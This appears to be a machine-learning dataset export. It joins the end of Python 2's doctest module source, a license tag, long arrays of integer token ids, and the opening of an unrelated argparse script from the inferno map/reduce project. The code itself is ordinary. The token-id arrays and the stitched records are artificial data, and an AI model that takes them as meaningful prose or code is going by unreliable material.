and globs is None: raise TypeError("Tester.__init__: must specify mod or globs") if mod is not None and not inspect.ismodule(mod): raise TypeError("Tester.__init__: mod must be a module; %r" % (mod,)) if globs is None: globs = mod.__dict__ self.globs = globs self.verbose = verbose self.isprivate = isprivate self.optionflags = optionflags self.testfinder = DocTestFinder(_namefilter=isprivate) self.testrunner = DocTestRunner(verbose=verbose, optionflags=optionflags) def runstring(self, s, name): test = DocTestParser().get_doctest(s, self.globs, name, None, None) if self.verbose: print "Running string", name (f,t) = self.testrunner.run(test) if self.verbose: print f, "of", t, "examples failed in string", name return (f,t) def rundoc(self, object, name=None, module=None): f = t = 0 tests = self.testfinder.find(object, name, module=module, globs=self.globs) for test in tests: (f2, t2) = self.testrunner.run(test) (f,t) = (f+f2, t+t2) return (f,t) def rundict(self, d, name, module=None): import new m = new.module(name) m.__dict__.update(d) if module is None: module = False return self.rundoc(m, name, module) def run__test__(self, d, name): import new m = new.module(name) m.__test__ = d return self.rundoc(m, name) def summarize(self, verbose=None): return self.testrunner.summarize(verbose) def merge(self, other): self.testrunner.merge(other.testrunner) ###################################################################### ## 8. Unittest Support ###################################################################### _unittest_reportflags = 0 def set_unittest_reportflags(flags): """Sets the unittest option flags. The old flag is returned so that a runner could restore the old value if it wished to: >>> old = _unittest_reportflags >>> set_unittest_reportflags(REPORT_NDIFF | ... REPORT_ONLY_FIRST_FAILURE) == old True >>> import doctest >>> doctest._unittest_reportflags == (REPORT_NDIFF | ... REPORT_ONLY_FIRST_FAILURE) True Only reporting flags can be set: >>> set_unittest_reportflags(ELLIPSIS) Traceback (most recent call last): ... ValueError: ('Only reporting flags allowed', 8) >>> set_unittest_reportflags(old) == (REPORT_NDIFF | ... REPORT_ONLY_FIRST_FAILURE) True """ global _unittest_reportflags if (flags & REPORTING_FLAGS) != flags: raise ValueError("Only reporting flags allowed", flags) old = _unittest_reportflags _unittest_reportflags = flags return old class DocTestCase(unittest.TestCase): def __init__(self, test, optionflags=0, setUp=None, tearDown=None, checker=None, runner=DocTestRunner): unittest.TestCase.__init__(self) self._dt_optionflags = optionflags self._dt_checker = checker self._dt_test = test self._dt_setUp = setUp self._dt_tearDown = tearDown self._dt_runner = runner def setUp(self): test = self._dt_test if self._dt_setUp is not None: self._dt_setUp(test) def tearDown(self): test = self._dt_test if self._dt_tearDown is not None: self._dt_tearDown(test) test.globs.clear() def runTest(self): test = self._dt_test old = sys.stdout new = StringIO() optionflags = self._dt_optionflags if not (optionflags & REPORTING_FLAGS): # The option flags don't include any reporting flags, # so add the default reporting flags optionflags |= _unittest_reportflags runner = self._dt_runner(optionflags=optionflags, checker=self._dt_checker, verbose=False) try: runner.DIVIDER = "-"*70 failures, tries = runner.run( test, out=new.write, clear_globs=False) finally: sys.stdout = old if failures: raise self.failureException(self.format_failure(new.getvalue())) def format_failure(self, err): test = self._dt_test if test.lineno is None: lineno = 'unknown line number' else: lineno = '%s' % test.lineno lname = '.'.join(test.name.split('.')[-1:]) return ('Failed doctest test for %s\n' ' File "%s", line %s, in %s\n\n%s' % (test.name, test.filename, lineno, lname, err) ) def debug(self): r"""Run the test case without results and without catching exceptions The unit test framework includes a debug method on test cases and test suites to support post-mortem debugging. The test code is run in such a way that errors are not caught. This way a caller can catch the errors and initiate post-mortem debugging. The DocTestCase provides a debug method that raises UnexpectedException errors if there is an unexepcted exception: >>> test = DocTestParser().get_doctest('>>> raise KeyError\n42', ... {}, 'foo', 'foo.py', 0) >>> case = DocTestCase(test) >>> try: ... case.debug() ... except UnexpectedException, failure: ... pass The UnexpectedException contains the test, the example, and the original exception: >>> failure.test is test True >>> failure.example.want '42\n' >>> exc_info = failure.exc_info >>> raise exc_info[0], exc_info[1], exc_info[2] Traceback (most recent call last): ... KeyError If the output doesn't match, then a DocTestFailure is raised: >>> test = DocTestParser().get_doctest(''' ... >>> x = 1 ... >>> x ... 2 ... ''', {}, 'foo', 'foo.py', 0) >>> case = DocTestCase(test) >>> try: ... case.debug() ... except DocTestFailure, failure: ... pass DocTestFailure objects provide access to the test: >>> failure.test is test True As well as to the example: >>> failure.example.want '2\n' and the actual output: >>> failure.got '1\n' """ self.setUp() runner = DebugRunner(optionflags=self._dt_optionflags, checker=self._dt_checker, verbose=False) runner.run(self._dt_test) self.tearDown() def id(self): return self._dt_test.name def __repr__(self): name = self._dt_test.name.split('.') return "%s (%s)" % (name[-1], '.'.join(name[:-1])) __str__ = __repr__ def shortDescription(self): return "Doctest: " + self._dt_test.name def DocTestSuite(module=None, globs=None, extraglobs=None, test_finder=None, test_class=DocTestCase, **options): """ Convert doctest tests for a module to a unittest test suite. This converts each documentation string in a module that contains doctest tests to a unittest test case. If any of the tests in a doc string fail, then the test case fails. An exception is raised showing the name of the file containing the test and a (sometimes approximate) line number. The `module` argument provides the module to be tested. The argument can be either a module or a module name. If no argument is given, the calling module is used. A number of options may be provided as keyword arguments: setUp A set-up function. This is called before running the tests in each file. The setUp function will be passed a DocTest object. The setUp function can access the test globals as the globs attribute of the test passed. tearDown A tear-down function. This is called after running the tests in each file. The tearDown function will be passed a DocTest object. The tearDown function can access the test globals as the globs attribute of the test passed. globs A dictionary containing initial global variables for the tests. optionflags A set of doctest option flags expressed as an integer. """ if test_finder is None: test_finder = DocTestFinder() module = _normalize_module(module) tests = test_finder.find(module, globs=globs, extraglobs=extraglobs) if globs is None: globs = module.__dict__ if not tests: # Why do we want to do this? Because it reveals a bug that might # otherwise be hidden. raise ValueError(module, "has no tests") tests.sort() suite = unittest.TestSuite() for test in tests: if len(test.examples) == 0: continue if not test.filename: filename = module.__file__ if filename[-4:] in (".pyc", ".pyo"): filename = filename[:-1] test.filename = filename suite.addTest(test_class(test, **options)) return suite class DocFileCase(DocTestCase): def id(self): return '_'.join(self._dt_test.name.split('.')) def __repr__(self): return self._dt_test.filename __str__ = __repr__ def format_failure(self, err): return ('Failed doctest test for %s\n File "%s", line 0\n\n%s' % (self._dt_test.name, self._dt_test.filename, err) ) def DocFileTest(path, module_relative=True, package=None, globs=None, parser=DocTestParser(), **options): if globs is None: globs = {} if package and not module_relative: raise ValueError("Package may only be specified for module-" "relative paths.") # Relativize the path. if module_relative: package = _normalize_module(package) path = _module_relative_path(package, path) # Find the file and read it. name = os.path.basename(path) doc = open(path).read() # Convert it to a test, and wrap it in a DocFileCase. test = parser.get_doctest(doc, globs, name, path, 0) return DocFileCase(test, **options) def DocFileSuite(*paths, **kw): """A unittest suite for one or more doctest files. The path to each doctest file is given as a string; the interpretation of that string depends on the keyword argument "module_relative". A number of options may be provided as keyword arguments: module_relative If "module_relative" is True, then the given file paths are interpreted as os-independent module-relative paths. By default, these paths are relative to the calling module's directory; but if the "package" argument is specified, then they are relative to that package. To ensure os-independence, "filename" should use "/" characters to separate path segments, and may not be an absolute path (i.e., it may not begin with "/"). If "module_relative" is False, then the given file paths are interpreted as os-specific paths. These paths may be absolute or relative (to the current working directory). package A Python package or the name of a Python package whose directory should be used as the base directory for module relative paths. If "package" is not specified, then the calling module's directory is used as the base directory for module relative filenames. It is an error to specify "package" if "module_relative" is False. setUp A set-up function. This is called before running the tests in each file. The setUp function will be passed a DocTest object. The setUp function can access the test globals as the globs attribute of the test passed. tearDown A tear-down function. This is called after running the tests in each file. The tearDown function will be passed a DocTest object. The tearDown function can access the test globals as the globs attribute of the test passed. globs A dictionary containing initial global variables for the tests. optionflags A set of doctest option flags expressed as an integer. parser A DocTestParser (or subclass) that should be used to extract tests from the files. """ suite = unittest.TestSuite() # We do this here so that _normalize_module is called at the right # level. If it were called in DocFileTest, then this function # would be the caller and we might guess the package incorrectly. if kw.get('module_relative', True): kw['package'] = _normalize_module(kw.get('package')) for path in paths: suite.addTest(DocFileTest(path, **kw)) return suite ###################################################################### ## 9. Debugging Support ###################################################################### def script_from_examples(s): r"""Extract script from text with examples. Converts text with examples to a Python script. Example input is converted to regular code. Example output and all other words are converted to comments: >>> text = ''' ... Here are examples of simple math. ... ... Python has super accurate integer addition ... ... >>> 2 + 2 ... 5 ... ... And very friendly error messages: ... ... >>> 1/0 ... To Infinity ... And ... Beyond ... ... You can use logic if you want: ... ... >>> if 0: ... ... blah ... ... blah ... ... ... ... Ho hum ... ''' >>> print script_from_examples(text) # Here are examples of simple math. # # Python has super accurate integer addition # 2 + 2 # Expected: ## 5 # # And very friendly error messages: # 1/0 # Expected: ## To Infinity ## And ## Beyond # # You can use logic if you want: # if 0: blah blah # # Ho hum """ output = [] for piece in DocTestParser().parse(s): if isinstance(piece, Example): # Add the example's source code (strip trailing NL) output.append(piece.source[:-1]) # Add the expected output: want = piece.want if want: output.append('# Expected:') output += ['## '+l for l in want.split('\n')[:-1]] else: # Add non-example text. output += [_comment_line(l) for l in piece.split('\n')[:-1]] # Trim junk on both ends. while output and output[-1] == '#': output.pop() while output and output[0] == '#': output.pop(0) # Combine the output, and return it. return '\n'.join(output) def testsource(module, name): """Extract the test sources from a doctest docstring as a script. Provide the module (or dotted name of the module) containing the test to be debugged and the name (within the module) of the object with the doc string with tests to be debugged. """ module = _normalize_module(module) tests = DocTestFinder().find(module) test = [t for t in tests if t.name == name] if not test: raise ValueError(name, "not found in tests") test = test[0] testsrc = script_from_examples(test.docstring) return testsrc def debug_src(src, pm=False, globs=None): """Debug a single doctest docstring, in argument `src`'""" testsrc = script_from_examples(src) debug_script(testsrc, pm, globs) def debug_script(src, pm=False, globs=None): "Debug a test script. `src` is the script, as a string." import pdb # Note that tempfile.NameTemporaryFile() cannot be used. As the # docs say, a file so created cannot be opened by name a second time # on modern Windows boxes, and execfile() needs to open it. srcfilename = tempfile.mktemp(".py", "doctestdebug") f = open(srcfilename, 'w') f.write(src) f.close() try: if globs: globs = globs.copy() else: globs = {} if pm: try: execfile(srcfilename, globs, globs) except: print sys.exc_info()[1] pdb.post_mortem(sys.exc_info()[2]) else: # Note that %r is vital here. '%s' instead can, e.g., cause # backslashes to get treated as metacharacters on Windows. pdb.run("execfile(%r)" % srcfilename, globs, globs) finally: os.remove(srcfilename) def debug(module, name, pm=False): """Debug a single doctest docstring. Provide the module (or dotted name of the module) containing the test to be debugged and the name (within the module) of the object with the docstring with tests to be debugged. """ module = _normalize_module(module) testsrc = testsource(module, name) debug_script(testsrc, pm, module.__dict__) ###################################################################### ## 10. Example Usage ###################################################################### class _TestClass: """ A pointless class, for sanity-checking of docstring testing. Methods: square() get() >>> _TestClass(13).get() + _TestClass(-12).get() 1 >>> hex(_TestClass(13).square().get()) '0xa9' """ def __init__(self, val): """val -> _TestClass object with associated value val. >>> t = _TestClass(123) >>> print t.get() 123 """ self.val = val def square(self): """square() -> square TestClass's associated value >>> _TestClass(13).square().get() 169 """ self.val = self.val ** 2 return self def get(self): """get() -> return TestClass's associated value. >>> x = _TestClass(-42) >>> print x.get() -42 """ return self.val __test__ = {"_TestClass": _TestClass, "string": r""" Example of a string object, searched as-is. >>> x = 1; y = 2 >>> x + y, x * y (3, 2) """, "bool-int equivalence": r""" In 2.2, boolean expressions displayed 0 or 1. By default, we still accept them. This can be disabled by passing DONT_ACCEPT_TRUE_FOR_1 to the new optionflags argument. >>> 4 == 4 1 >>> 4 == 4 True >>> 4 > 4 0 >>> 4 > 4 False """, "blank lines": r""" Blank lines can be marked with <BLANKLINE>: >>> print 'foo\n\nbar\n' foo <BLANKLINE> bar <BLANKLINE> """, "ellipsis": r""" If the ellipsis flag is used, then '...' can be used to elide substrings in the desired output: >>> print range(1000) #doctest: +ELLIPSIS [0, 1, 2, ..., 999] """, "whitespace normalization": r""" If the whitespace normalization flag is used, then differences in whitespace are ignored. >>> print range(30) #doctest: +NORMALIZE_WHITESPACE [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29] """, } def _test(): r = unittest.TextTestRunner() r.run(DocTestSuite()) if __name__ == "__main__": _test()
apache-2.0
[ 3, 961, 365, 282, 18023, 6042, 1015, 402, 314, 8868, 14, 647, 626, 15924, 1915, 543, 2018, 499, 14, 20, 199, 3, 2779, 30147, 2335, 4493, 626, 1172, 2757, 16930, 370, 314, 2018, 12052, 15271, 199, 3, 465, 12052, 327, 11024, 709, 2869, 14, 5723, 4493, 2040, 367, 282, 5454, 396, 7446, 436, 5454, 396, 1300, 199, 3, 1021, 370, 506, 2013, 1380, 22048, 282, 5454, 396, 6207, 14, 199, 199, 3, 5673, 8868, 14, 199, 3, 17646, 68, 370, 314, 4575, 2881, 3193, 13, 19825, 13, 8339, 12, 701, 26244, 11379, 878, 334, 2906, 32, 1548, 14, 1308, 680, 199, 3, 16593, 5857, 655, 14666, 1470, 436, 24200, 316, 701, 26, 199, 3, 258, 1603, 1017, 481, 427, 265, 199, 3, 258, 17379, 3079, 491, 2262, 199, 199, 3, 2165, 11923, 465, 13, 374, 27, 675, 737, 2195, 5705, 22633, 27, 949, 3750, 27, 949, 8023, 1388, 27, 655, 26729, 1, 199, 199, 82, 624, 2377, 8868, 1553, 282, 10059, 367, 3879, 7251, 315, 20964, 14, 199, 199, 607, 3486, 270, 675, 12, 1284, 1924, 859, 603, 370, 506, 12470, 543, 26, 199, 199, 318, 485, 396, 837, 272, 492, 8868, 272, 8868, 14, 29446, 342, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 485, 396, 342, 199, 199, 28226, 3879, 314, 859, 465, 282, 2884, 911, 7675, 314, 7251, 315, 314, 199, 1301, 5465, 370, 664, 7934, 436, 16317, 26, 199, 199, 1548, 603, 14, 647, 199, 199, 2765, 7859, 1133, 2929, 7003, 7444, 376, 2893, 6918, 12, 315, 1314, 1930, 314, 199, 25299, 2893, 8, 83, 9, 436, 314, 7675, 8, 83, 9, 402, 314, 5988, 8, 83, 9, 787, 12487, 370, 3839, 199, 8, 26460, 440, 4635, 31, 2952, 4635, 365, 282, 634, 313, 11176, 665, 16, 14, 18, 336, 2292, 27359, 436, 314, 4242, 199, 604, 402, 1072, 365, 298, 774, 3405, 15848, 199, 199, 2540, 652, 543, 314, 446, 86, 6258, 3140, 26, 199, 199, 1548, 603, 14, 647, 446, 86, 199, 199, 460, 282, 16212, 3622, 402, 1006, 7251, 16416, 365, 12487, 370, 3839, 12, 3180, 199, 1045, 2661, 1376, 23747, 737, 314, 1284, 14, 199, 199, 5556, 883, 3542, 3376, 818, 701, 9476, 298, 3832, 29, 549, 2, 370, 511, 1494, 12, 503, 557, 20215, 390, 199, 390, 701, 9476, 298, 3832, 29, 797, 1674, 221, 1010, 1902, 402, 5204, 5560, 12, 984, 14, 3020, 365, 440, 199, 15425, 1942, 701, 511, 1494, 14, 199, 199, 10924, 787, 282, 32246, 402, 1163, 15217, 370, 1255, 26721, 12, 5893, 13150, 199, 1045, 314, 2882, 10059, 12, 436, 2291, 367, 3879, 2222, 13, 4718, 1318, 199, 1725, 3035, 26721, 14, 221, 6006, 787, 2597, 5002, 15217, 370, 4278, 4184, 199, 1618, 8868, 1159, 849, 5112, 1384, 14, 221, 1666, 314, 11243, 10944, 30247, 367, 199, 5087, 14, 199, 624, 199, 199, 363, 21841, 363, 275, 283, 264, 27486, 1872, 655, 7, 199, 199, 363, 452, 363, 275, 359, 272, 327, 378, 12, 3207, 24870, 272, 283, 2683, 63, 1422, 4173, 297, 272, 283, 31874, 63, 13089, 63, 15064, 63, 2707, 63, 17, 297, 272, 283, 31874, 63, 13089, 63, 29353, 297, 272, 283, 10765, 11025, 63, 20620, 297, 272, 283, 21677, 297, 272, 283, 11209, 63, 15375, 63, 25081, 297, 272, 283, 6790, 689, 1311, 615, 63, 4831, 297, 272, 283, 17356, 63, 53, 10596, 297, 272, 283, 17356, 63, 35, 10596, 297, 272, 283, 17356, 63, 46, 10596, 297, 272, 283, 17356, 63, 10452, 63, 12903, 63, 13989, 297, 272, 283, 17356, 1206, 63, 4831, 297, 272, 327, 413, 14, 20511, 17471, 272, 283, 374, 63, 4239, 297, 272, 327, 499, 14, 5679, 1253, 17495, 272, 283, 9846, 297, 272, 283, 30311, 297, 272, 327, 650, 14, 5454, 396, 10191, 272, 283, 30311, 2842, 297, 272, 327, 841, 14, 5454, 396, 481, 5755, 272, 283, 30311, 11791, 297, 272, 327, 959, 14, 5454, 396, 3378, 1372, 272, 283, 3768, 13649, 297, 272, 283, 2959, 3048, 297, 272, 283, 30311, 6782, 297, 272, 283, 8708, 1726, 297, 272, 283, 7084, 7446, 297, 272, 327, 1227, 14, 1379, 17471, 272, 283, 29446, 297, 272, 283, 21091, 297, 272, 283, 1065, 63, 12485, 63, 8589, 297, 272, 327, 1520, 14, 377, 17338, 272, 283, 22403, 297, 272, 327, 1695, 14, 1910, 1770, 12502, 272, 283, 3768, 10591, 297, 272, 283, 3768, 1173, 6207, 297, 272, 283, 409, 63, 2796, 63, 3070, 2469, 297, 272, 327, 1749, 14, 14245, 1540, 12502, 272, 283, 1579, 63, 504, 63, 8589, 297, 272, 283, 396, 1365, 297, 272, 283, 1757, 63, 2164, 297, 272, 283, 1757, 297, 199, 61, 199, 199, 646, 636, 2443, 363, 199, 199, 646, 984, 12, 5190, 12, 6485, 12, 26026, 12, 747, 12, 295, 199, 646, 2882, 12, 27070, 12, 10543, 12, 5549, 199, 646, 3598, 199, 504, 5228, 492, 5228, 199, 199, 692, 984, 14, 3246, 14, 2460, 360, 6138, 735, 272, 327, 4068, 25333, 12, 365, 533, 342, 13924, 2005, 4621, 465, 3992, 14, 19292, 652, 14, 272, 347, 3371, 63, 28450, 8, 28450, 304, 267, 347, 19483, 63, 28450, 8, 1113, 304, 288, 372, 365, 533, 8, 1113, 9, 436, 2688, 8, 1113, 12, 2560, 578, 13766, 267, 372, 19483, 63, 28450, 272, 6485, 14, 28450, 275, 3371, 63, 28450, 8, 10955, 14, 28450, 9, 199, 199, 3, 7529, 1133, 704, 1132, 3595, 314, 5906, 365, 63, 4239, 805, 315, 642, 199, 3, 859, 1159, 2295, 14, 199, 5451, 14, 23945, 480, 4247, 401, 298, 374, 63, 4239, 401, 13413, 12, 717, 636, 354, 3108, 378, 9, 199, 199, 3, 6006, 787, 841, 5678, 3992, 26, 199, 3, 221, 446, 5679, 26, 282, 665, 1365, 12, 2934, 30, 4092, 12, 12254, 376, 1109, 345, 13, 12485, 1004, 1329, 14, 199, 3, 221, 446, 17495, 26, 282, 3245, 402, 7251, 12, 4565, 687, 282, 9214, 12, 12254, 199, 3, 259, 2256, 3595, 2382, 314, 9214, 20382, 687, 334, 354, 12, 1788, 12, 5874, 680, 199, 3, 221, 446, 17495, 11791, 26, 5536, 83, 5454, 2925, 687, 282, 1627, 909, 1159, 9214, 436, 199, 3, 259, 2399, 10470, 2251, 7, 20964, 14, 199, 3, 221, 446, 5454, 13649, 26, 7858, 17495, 5560, 12, 436, 11162 ]
[ 961, 365, 282, 18023, 6042, 1015, 402, 314, 8868, 14, 647, 626, 15924, 1915, 543, 2018, 499, 14, 20, 199, 3, 2779, 30147, 2335, 4493, 626, 1172, 2757, 16930, 370, 314, 2018, 12052, 15271, 199, 3, 465, 12052, 327, 11024, 709, 2869, 14, 5723, 4493, 2040, 367, 282, 5454, 396, 7446, 436, 5454, 396, 1300, 199, 3, 1021, 370, 506, 2013, 1380, 22048, 282, 5454, 396, 6207, 14, 199, 199, 3, 5673, 8868, 14, 199, 3, 17646, 68, 370, 314, 4575, 2881, 3193, 13, 19825, 13, 8339, 12, 701, 26244, 11379, 878, 334, 2906, 32, 1548, 14, 1308, 680, 199, 3, 16593, 5857, 655, 14666, 1470, 436, 24200, 316, 701, 26, 199, 3, 258, 1603, 1017, 481, 427, 265, 199, 3, 258, 17379, 3079, 491, 2262, 199, 199, 3, 2165, 11923, 465, 13, 374, 27, 675, 737, 2195, 5705, 22633, 27, 949, 3750, 27, 949, 8023, 1388, 27, 655, 26729, 1, 199, 199, 82, 624, 2377, 8868, 1553, 282, 10059, 367, 3879, 7251, 315, 20964, 14, 199, 199, 607, 3486, 270, 675, 12, 1284, 1924, 859, 603, 370, 506, 12470, 543, 26, 199, 199, 318, 485, 396, 837, 272, 492, 8868, 272, 8868, 14, 29446, 342, 199, 199, 692, 636, 354, 363, 508, 4396, 973, 5727, 272, 485, 396, 342, 199, 199, 28226, 3879, 314, 859, 465, 282, 2884, 911, 7675, 314, 7251, 315, 314, 199, 1301, 5465, 370, 664, 7934, 436, 16317, 26, 199, 199, 1548, 603, 14, 647, 199, 199, 2765, 7859, 1133, 2929, 7003, 7444, 376, 2893, 6918, 12, 315, 1314, 1930, 314, 199, 25299, 2893, 8, 83, 9, 436, 314, 7675, 8, 83, 9, 402, 314, 5988, 8, 83, 9, 787, 12487, 370, 3839, 199, 8, 26460, 440, 4635, 31, 2952, 4635, 365, 282, 634, 313, 11176, 665, 16, 14, 18, 336, 2292, 27359, 436, 314, 4242, 199, 604, 402, 1072, 365, 298, 774, 3405, 15848, 199, 199, 2540, 652, 543, 314, 446, 86, 6258, 3140, 26, 199, 199, 1548, 603, 14, 647, 446, 86, 199, 199, 460, 282, 16212, 3622, 402, 1006, 7251, 16416, 365, 12487, 370, 3839, 12, 3180, 199, 1045, 2661, 1376, 23747, 737, 314, 1284, 14, 199, 199, 5556, 883, 3542, 3376, 818, 701, 9476, 298, 3832, 29, 549, 2, 370, 511, 1494, 12, 503, 557, 20215, 390, 199, 390, 701, 9476, 298, 3832, 29, 797, 1674, 221, 1010, 1902, 402, 5204, 5560, 12, 984, 14, 3020, 365, 440, 199, 15425, 1942, 701, 511, 1494, 14, 199, 199, 10924, 787, 282, 32246, 402, 1163, 15217, 370, 1255, 26721, 12, 5893, 13150, 199, 1045, 314, 2882, 10059, 12, 436, 2291, 367, 3879, 2222, 13, 4718, 1318, 199, 1725, 3035, 26721, 14, 221, 6006, 787, 2597, 5002, 15217, 370, 4278, 4184, 199, 1618, 8868, 1159, 849, 5112, 1384, 14, 221, 1666, 314, 11243, 10944, 30247, 367, 199, 5087, 14, 199, 624, 199, 199, 363, 21841, 363, 275, 283, 264, 27486, 1872, 655, 7, 199, 199, 363, 452, 363, 275, 359, 272, 327, 378, 12, 3207, 24870, 272, 283, 2683, 63, 1422, 4173, 297, 272, 283, 31874, 63, 13089, 63, 15064, 63, 2707, 63, 17, 297, 272, 283, 31874, 63, 13089, 63, 29353, 297, 272, 283, 10765, 11025, 63, 20620, 297, 272, 283, 21677, 297, 272, 283, 11209, 63, 15375, 63, 25081, 297, 272, 283, 6790, 689, 1311, 615, 63, 4831, 297, 272, 283, 17356, 63, 53, 10596, 297, 272, 283, 17356, 63, 35, 10596, 297, 272, 283, 17356, 63, 46, 10596, 297, 272, 283, 17356, 63, 10452, 63, 12903, 63, 13989, 297, 272, 283, 17356, 1206, 63, 4831, 297, 272, 327, 413, 14, 20511, 17471, 272, 283, 374, 63, 4239, 297, 272, 327, 499, 14, 5679, 1253, 17495, 272, 283, 9846, 297, 272, 283, 30311, 297, 272, 327, 650, 14, 5454, 396, 10191, 272, 283, 30311, 2842, 297, 272, 327, 841, 14, 5454, 396, 481, 5755, 272, 283, 30311, 11791, 297, 272, 327, 959, 14, 5454, 396, 3378, 1372, 272, 283, 3768, 13649, 297, 272, 283, 2959, 3048, 297, 272, 283, 30311, 6782, 297, 272, 283, 8708, 1726, 297, 272, 283, 7084, 7446, 297, 272, 327, 1227, 14, 1379, 17471, 272, 283, 29446, 297, 272, 283, 21091, 297, 272, 283, 1065, 63, 12485, 63, 8589, 297, 272, 327, 1520, 14, 377, 17338, 272, 283, 22403, 297, 272, 327, 1695, 14, 1910, 1770, 12502, 272, 283, 3768, 10591, 297, 272, 283, 3768, 1173, 6207, 297, 272, 283, 409, 63, 2796, 63, 3070, 2469, 297, 272, 327, 1749, 14, 14245, 1540, 12502, 272, 283, 1579, 63, 504, 63, 8589, 297, 272, 283, 396, 1365, 297, 272, 283, 1757, 63, 2164, 297, 272, 283, 1757, 297, 199, 61, 199, 199, 646, 636, 2443, 363, 199, 199, 646, 984, 12, 5190, 12, 6485, 12, 26026, 12, 747, 12, 295, 199, 646, 2882, 12, 27070, 12, 10543, 12, 5549, 199, 646, 3598, 199, 504, 5228, 492, 5228, 199, 199, 692, 984, 14, 3246, 14, 2460, 360, 6138, 735, 272, 327, 4068, 25333, 12, 365, 533, 342, 13924, 2005, 4621, 465, 3992, 14, 19292, 652, 14, 272, 347, 3371, 63, 28450, 8, 28450, 304, 267, 347, 19483, 63, 28450, 8, 1113, 304, 288, 372, 365, 533, 8, 1113, 9, 436, 2688, 8, 1113, 12, 2560, 578, 13766, 267, 372, 19483, 63, 28450, 272, 6485, 14, 28450, 275, 3371, 63, 28450, 8, 10955, 14, 28450, 9, 199, 199, 3, 7529, 1133, 704, 1132, 3595, 314, 5906, 365, 63, 4239, 805, 315, 642, 199, 3, 859, 1159, 2295, 14, 199, 5451, 14, 23945, 480, 4247, 401, 298, 374, 63, 4239, 401, 13413, 12, 717, 636, 354, 3108, 378, 9, 199, 199, 3, 6006, 787, 841, 5678, 3992, 26, 199, 3, 221, 446, 5679, 26, 282, 665, 1365, 12, 2934, 30, 4092, 12, 12254, 376, 1109, 345, 13, 12485, 1004, 1329, 14, 199, 3, 221, 446, 17495, 26, 282, 3245, 402, 7251, 12, 4565, 687, 282, 9214, 12, 12254, 199, 3, 259, 2256, 3595, 2382, 314, 9214, 20382, 687, 334, 354, 12, 1788, 12, 5874, 680, 199, 3, 221, 446, 17495, 11791, 26, 5536, 83, 5454, 2925, 687, 282, 1627, 909, 1159, 9214, 436, 199, 3, 259, 2399, 10470, 2251, 7, 20964, 14, 199, 3, 221, 446, 5454, 13649, 26, 7858, 17495, 5560, 12, 436, 11162, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
oldmantaiter/inferno
inferno/bin/run.py
3
11375
import logging.config import os import shutil import sys import argparse import yaml from datetime import date from time import mktime from time import strptime from setproctitle import setproctitle from inferno.lib import __version__ from inferno.lib.disco_ext import get_disco_handle from inferno.lib.job import InfernoJob from inferno.lib.job_runner import execute_rule from inferno.lib.lookup_rules import get_rules_by_name from inferno.lib.settings import InfernoSettings log = logging.getLogger(__name__) def _get_options(argv): desc = 'Inferno: a python map/reduce library powered by disco.' parser = argparse.ArgumentParser(description=desc) parser.add_argument( "-v", "--version", action="version", version='%s-%s' % ('inferno', __version__)) parser.add_argument( "-s", "--server", dest="server", help="master disco server") parser.add_argument( "-e", "--settings", dest="settings_file", help="path to settings file") parser.add_argument( "-i", "--immediate-rule", dest="immediate_rule", help="execute <module>.<rule> immediately and exit") parser.add_argument( "-y", "--rules-directory", dest="rules_directory", help="directory to search for Inferno rules") parser.add_argument( "-q", "--just-query", dest="just_query", default=False, action="store_true", help="print out the blobs of the source query and \ generated SQL, but don't execute the rule (only useful \ for debugging rules in immediate mode)") parser.add_argument( "-f", "--force", dest="force", default=False, action="store_true", help="force processing of blobs") parser.add_argument( "-x", "--start-paused", dest="start_paused", default=False, action="store_true", help="start Inferno without starting any automatic rules (pause mode)") parser.add_argument( "-D", "--disco-debug", dest="disco_debug", default=False, action="store_true", help="debug map/reduce to disco console") parser.add_argument( "-d", "--debug", dest="debug", default=False, action="store_true", help="debug flag for inferno consumers") parser.add_argument( "-p", "--profile", dest="profile", default=False, action="store_true", help="output disco profiling data") parser.add_argument( "-t", "--source-tags", dest="source_tags", help="override the ddfs source tags") parser.add_argument( "-u", "--source-urls", dest="source_urls", help="override the source urls") parser.add_argument( "-r", "--result-tag", dest="result_tag", help="override the ddfs result tag") parser.add_argument( "-S", "--day-start", dest="day_start", help="override the start day for blobs") parser.add_argument( "-R", "--day-range", dest="day_range", type=int, help="override the day range for blobs") parser.add_argument( "-O", "--day-offset", dest="day_offset", type=int, help="override the days previous to start day for blobs") parser.add_argument( "-P", "--parameters", dest="parameters", 